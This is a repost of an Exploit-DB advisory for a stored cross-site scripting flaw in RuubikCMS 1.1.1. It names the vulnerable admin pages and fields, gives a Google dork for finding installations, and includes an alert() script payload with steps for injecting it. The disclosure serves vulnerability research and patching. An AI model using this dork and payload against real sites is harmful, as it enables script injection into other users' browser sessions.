- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 25996
- Проверка EDB
-
- Пройдено
- Автор
- EXPL0I13R
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- null
- Дата публикации
- 2013-06-07
Код:
# Exploit Title: [ruubikcms v1.1.1 Stored XSS]
# Google Dork: [powered by ruubikcms]
# Date: [2013-6-5]
# Exploit Author: [expl0i13r]
# Vendor Homepage: [http://www.ruubikcms.com/]
# Software Link: [http://www.ruubikcms.com/ruubikcms/download.php?f=ruubikcms111.zip]
# Version: [1.1.1]
# Tested on: [Windows 7]
# Contact: [email protected]
Description:
-------------
RuubikCMS is an open source website content management tool which is designed to be user-friendly for both the end-user and the webmaster.
ruubikcms v1.1.1 suffers from Stored XSS vulnerability, when parsing user input to the 'name' parameter via POST method through '/ruubikcms/ruubikcms/cms/index.php'.
Attackers can exploit these weaknesses to execute arbitrary HTML and script code
in a user's browser session.
Tested on : Windows 7
Browsers : Chrome,Internet Explorer, Firefox
POC of the vulnerabilities :
-----------------------------
Stored XSS Vulnerable URL's
----------------------------
http://127.0.0.1/ruubikcms/ruubikcms/cms/index.php [vulnerable : name]
http://127.0.0.1/ruubikcms/ruubikcms/cms/extranet.php?p=member-area [vulnerable : name]
http://127.0.0.1/ruubikcms/ruubikcms/cms/sitesetup.php [Vulnerable : name , siteroot]
http://127.0.0.1/ruubikcms/ruubikcms/cms/users.php?role=5&p=test [Vulnerable : firstname , lastname]
p@yl0ad : "><script>alert('h@cK3d by eXpl0i13r')</script>
Example:
Pagemanagement > Page name
1. Enter pAyl0ad : "><script>alert('h@cK3d by eXpl0i13r')</script> in:
"Page management" > "Page name" textbox
2. Refresh page and click on Free Pages and p0p up will come.
3. Also Click on tab "News" which will load our injected XSS code , it will be available in drop down menu : News > Link to page (optional)
# blackpentesters.blogspot.com [2013-6-5]
# infotech-knowledge.blogspot.com- Источник
- www.exploit-db.com
